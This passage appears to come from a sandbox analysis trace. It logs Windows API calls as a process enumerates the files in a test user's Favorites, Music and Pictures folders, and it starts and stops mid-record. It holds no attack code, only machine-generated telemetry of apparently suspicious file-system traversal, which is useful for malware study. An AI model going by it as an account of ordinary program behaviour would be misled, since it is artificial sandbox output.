ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0066.672] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0066.672] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0066.672] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0066.672] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0066.672] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0066.672] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.673] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.673] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.673] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="Windows Live\\" [0066.673] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0066.673] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.673] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.673] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.673] PathFindFileNameW (pszPath="") returned="" [0066.673] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.675] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.675] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0066.675] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0066.675] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0066.675] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0066.675] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0066.675] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.676] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.676] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\C04Fzue-Z7KVyl_\\") returned="C04Fzue-Z7KVyl_\\" [0066.676] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0066.676] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.676] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.676] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.676] PathFindFileNameW (pszPath="") returned="" [0066.676] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\C04Fzue-Z7KVyl_\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ad70d0, ftCreationTime.dwHighDateTime=0x1d4cb1b, ftLastAccessTime.dwLowDateTime=0xc1826910, ftLastAccessTime.dwHighDateTime=0x1d4cace, ftLastWriteTime.dwLowDateTime=0xc1826910, ftLastWriteTime.dwHighDateTime=0x1d4cace, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.676] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ad70d0, ftCreationTime.dwHighDateTime=0x1d4cb1b, ftLastAccessTime.dwLowDateTime=0xc1826910, ftLastAccessTime.dwHighDateTime=0x1d4cace, ftLastWriteTime.dwLowDateTime=0xc1826910, ftLastWriteTime.dwHighDateTime=0x1d4cace, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.676] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec98c570, ftCreationTime.dwHighDateTime=0x1d4c544, ftLastAccessTime.dwLowDateTime=0xa6468930, ftLastAccessTime.dwHighDateTime=0x1d4d1c5, ftLastWriteTime.dwLowDateTime=0xa6468930, ftLastWriteTime.dwHighDateTime=0x1d4d1c5, nFileSizeHigh=0x0, nFileSizeLow=0x8b0b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AgflLmjIeW_yukDHb.wav", cAlternateFileName="AGFLLM~1.WAV")) returned 1 [0066.676] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6c3dc40, ftCreationTime.dwHighDateTime=0x1d4c615, ftLastAccessTime.dwLowDateTime=0x5c8400a0, ftLastAccessTime.dwHighDateTime=0x1d4d41a, ftLastWriteTime.dwLowDateTime=0x5c8400a0, ftLastWriteTime.dwHighDateTime=0x1d4d41a, nFileSizeHigh=0x0, nFileSizeLow=0x16a05, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="I31baSbQKLnY9a9KtlkI.wav", cAlternateFileName="I31BAS~1.WAV")) returned 1 [0066.676] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba465e0, ftCreationTime.dwHighDateTime=0x1d4c674, ftLastAccessTime.dwLowDateTime=0x1bf1d210, ftLastAccessTime.dwHighDateTime=0x1d4cad3, ftLastWriteTime.dwLowDateTime=0x1bf1d210, ftLastWriteTime.dwHighDateTime=0x1d4cad3, nFileSizeHigh=0x0, nFileSizeLow=0x12075, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="m09KxI.wav", cAlternateFileName="")) returned 1 [0066.676] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb11b8220, ftCreationTime.dwHighDateTime=0x1d4d053, ftLastAccessTime.dwLowDateTime=0xf65da40, ftLastAccessTime.dwHighDateTime=0x1d4cd09, ftLastWriteTime.dwLowDateTime=0xf65da40, ftLastWriteTime.dwHighDateTime=0x1d4cd09, nFileSizeHigh=0x0, nFileSizeLow=0x17c78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XSe4rk8zSjxa.m4a", cAlternateFileName="XSE4RK~1.M4A")) returned 1 [0066.676] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb11b8220, ftCreationTime.dwHighDateTime=0x1d4d053, ftLastAccessTime.dwLowDateTime=0xf65da40, ftLastAccessTime.dwHighDateTime=0x1d4cd09, ftLastWriteTime.dwLowDateTime=0xf65da40, ftLastWriteTime.dwHighDateTime=0x1d4cd09, nFileSizeHigh=0x0, nFileSizeLow=0x17c78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XSe4rk8zSjxa.m4a", cAlternateFileName="XSE4RK~1.M4A")) returned 0 [0066.676] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.676] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.677] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\") returned="c8v-4o\\" [0066.677] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0066.677] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.677] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.677] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.677] PathFindFileNameW (pszPath="") returned="" [0066.677] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e9c930, ftCreationTime.dwHighDateTime=0x1d4cd8e, ftLastAccessTime.dwLowDateTime=0x3ebbc700, ftLastAccessTime.dwHighDateTime=0x1d4c9ee, ftLastWriteTime.dwLowDateTime=0x3ebbc700, ftLastWriteTime.dwHighDateTime=0x1d4c9ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.677] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e9c930, ftCreationTime.dwHighDateTime=0x1d4cd8e, ftLastAccessTime.dwLowDateTime=0x3ebbc700, ftLastAccessTime.dwHighDateTime=0x1d4c9ee, ftLastWriteTime.dwLowDateTime=0x3ebbc700, ftLastWriteTime.dwHighDateTime=0x1d4c9ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.677] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5c41760, ftCreationTime.dwHighDateTime=0x1d4c5ab, ftLastAccessTime.dwLowDateTime=0xb5fc6ff0, ftLastAccessTime.dwHighDateTime=0x1d4c5fb, ftLastWriteTime.dwLowDateTime=0xb5fc6ff0, ftLastWriteTime.dwHighDateTime=0x1d4c5fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3m1P", cAlternateFileName="")) returned 1 [0066.677] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52622a50, ftCreationTime.dwHighDateTime=0x1d4cb34, ftLastAccessTime.dwLowDateTime=0x953164a0, ftLastAccessTime.dwHighDateTime=0x1d4d2db, ftLastWriteTime.dwLowDateTime=0x953164a0, ftLastWriteTime.dwHighDateTime=0x1d4d2db, nFileSizeHigh=0x0, nFileSizeLow=0xbbc3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5MaZVY_Q.wav", cAlternateFileName="")) returned 1 [0066.677] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9609e4f0, ftCreationTime.dwHighDateTime=0x1d4c693, ftLastAccessTime.dwLowDateTime=0xce6a120, ftLastAccessTime.dwHighDateTime=0x1d4c771, ftLastWriteTime.dwLowDateTime=0xce6a120, ftLastWriteTime.dwHighDateTime=0x1d4c771, nFileSizeHigh=0x0, nFileSizeLow=0xb850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EFI-R.m4a", cAlternateFileName="")) returned 1 [0066.677] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d39be50, ftCreationTime.dwHighDateTime=0x1d4d190, ftLastAccessTime.dwLowDateTime=0x759cd9a0, ftLastAccessTime.dwHighDateTime=0x1d4d49b, ftLastWriteTime.dwLowDateTime=0x759cd9a0, ftLastWriteTime.dwHighDateTime=0x1d4d49b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="I1WhKlENAwKn", cAlternateFileName="I1WHKL~1")) returned 1 [0066.677] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa67d7d60, ftCreationTime.dwHighDateTime=0x1d4c6b1, ftLastAccessTime.dwLowDateTime=0x85bffb00, ftLastAccessTime.dwHighDateTime=0x1d4cd0c, ftLastWriteTime.dwLowDateTime=0x85bffb00, ftLastWriteTime.dwHighDateTime=0x1d4cd0c, nFileSizeHigh=0x0, nFileSizeLow=0x148b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tBNdu.m4a", cAlternateFileName="")) returned 1 [0066.677] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d714660, ftCreationTime.dwHighDateTime=0x1d4d1ae, ftLastAccessTime.dwLowDateTime=0x342aac50, ftLastAccessTime.dwHighDateTime=0x1d4d02b, ftLastWriteTime.dwLowDateTime=0x342aac50, ftLastWriteTime.dwHighDateTime=0x1d4d02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ub2krgPHTK7", cAlternateFileName="UB2KRG~1")) returned 1 [0066.677] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d714660, ftCreationTime.dwHighDateTime=0x1d4d1ae, ftLastAccessTime.dwLowDateTime=0x342aac50, ftLastAccessTime.dwHighDateTime=0x1d4d02b, ftLastWriteTime.dwLowDateTime=0x342aac50, ftLastWriteTime.dwHighDateTime=0x1d4d02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ub2krgPHTK7", cAlternateFileName="UB2KRG~1")) returned 0 [0066.677] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.677] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.678] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\okHQRb\\") returned="okHQRb\\" [0066.678] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0066.678] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.678] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.678] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.678] PathFindFileNameW (pszPath="") returned="" [0066.678] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\okHQRb\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78f7d4b0, ftCreationTime.dwHighDateTime=0x1d4c717, ftLastAccessTime.dwLowDateTime=0x9c481e60, ftLastAccessTime.dwHighDateTime=0x1d4c8a8, ftLastWriteTime.dwLowDateTime=0x9c481e60, ftLastWriteTime.dwHighDateTime=0x1d4c8a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.678] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78f7d4b0, ftCreationTime.dwHighDateTime=0x1d4c717, ftLastAccessTime.dwLowDateTime=0x9c481e60, ftLastAccessTime.dwHighDateTime=0x1d4c8a8, ftLastWriteTime.dwLowDateTime=0x9c481e60, ftLastWriteTime.dwHighDateTime=0x1d4c8a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.678] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b46d430, ftCreationTime.dwHighDateTime=0x1d4c8f3, ftLastAccessTime.dwLowDateTime=0xaa588d10, ftLastAccessTime.dwHighDateTime=0x1d4c753, ftLastWriteTime.dwLowDateTime=0xaa588d10, ftLastWriteTime.dwHighDateTime=0x1d4c753, nFileSizeHigh=0x0, nFileSizeLow=0x14045, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-kF5YbTX2wf98csgLT.wav", cAlternateFileName="-KF5YB~1.WAV")) returned 1 [0066.678] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6b803e0, ftCreationTime.dwHighDateTime=0x1d4d0c0, ftLastAccessTime.dwLowDateTime=0x25231b10, ftLastAccessTime.dwHighDateTime=0x1d4cd5c, ftLastWriteTime.dwLowDateTime=0x25231b10, ftLastWriteTime.dwHighDateTime=0x1d4cd5c, nFileSizeHigh=0x0, nFileSizeLow=0x1366c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8 8rCdOQQ9YjD8.wav", cAlternateFileName="88RCDO~1.WAV")) returned 1 [0066.678] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe64c26c0, ftCreationTime.dwHighDateTime=0x1d4d48b, ftLastAccessTime.dwLowDateTime=0x54c3da90, ftLastAccessTime.dwHighDateTime=0x1d4c81f, ftLastWriteTime.dwLowDateTime=0x54c3da90, ftLastWriteTime.dwHighDateTime=0x1d4c81f, nFileSizeHigh=0x0, nFileSizeLow=0x53c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="T0s4dbG.wav", cAlternateFileName="")) returned 1 [0066.678] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a1394d0, ftCreationTime.dwHighDateTime=0x1d4c61b, ftLastAccessTime.dwLowDateTime=0x5aadd350, ftLastAccessTime.dwHighDateTime=0x1d4c56f, ftLastWriteTime.dwLowDateTime=0x5aadd350, ftLastWriteTime.dwHighDateTime=0x1d4c56f, nFileSizeHigh=0x0, nFileSizeLow=0x2a94, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_BtMiEaYBTzY.wav", cAlternateFileName="_BTMIE~1.WAV")) returned 1 [0066.678] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a1394d0, ftCreationTime.dwHighDateTime=0x1d4c61b, ftLastAccessTime.dwLowDateTime=0x5aadd350, ftLastAccessTime.dwHighDateTime=0x1d4c56f, ftLastWriteTime.dwLowDateTime=0x5aadd350, ftLastWriteTime.dwHighDateTime=0x1d4c56f, nFileSizeHigh=0x0, nFileSizeLow=0x2a94, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_BtMiEaYBTzY.wav", cAlternateFileName="_BTMIE~1.WAV")) returned 0 [0066.678] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.678] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.678] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IGq6V3a\\") returned="IGq6V3a\\" [0066.678] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0066.678] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.679] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.679] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.679] PathFindFileNameW (pszPath="") returned="" [0066.679] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IGq6V3a\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x836eb550, ftCreationTime.dwHighDateTime=0x1d4c6e8, ftLastAccessTime.dwLowDateTime=0xa7891fe0, ftLastAccessTime.dwHighDateTime=0x1d4c5d3, ftLastWriteTime.dwLowDateTime=0xa7891fe0, ftLastWriteTime.dwHighDateTime=0x1d4c5d3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.682] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x836eb550, ftCreationTime.dwHighDateTime=0x1d4c6e8, ftLastAccessTime.dwLowDateTime=0xa7891fe0, ftLastAccessTime.dwHighDateTime=0x1d4c5d3, ftLastWriteTime.dwLowDateTime=0xa7891fe0, ftLastWriteTime.dwHighDateTime=0x1d4c5d3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.682] FindNextFileW (in: 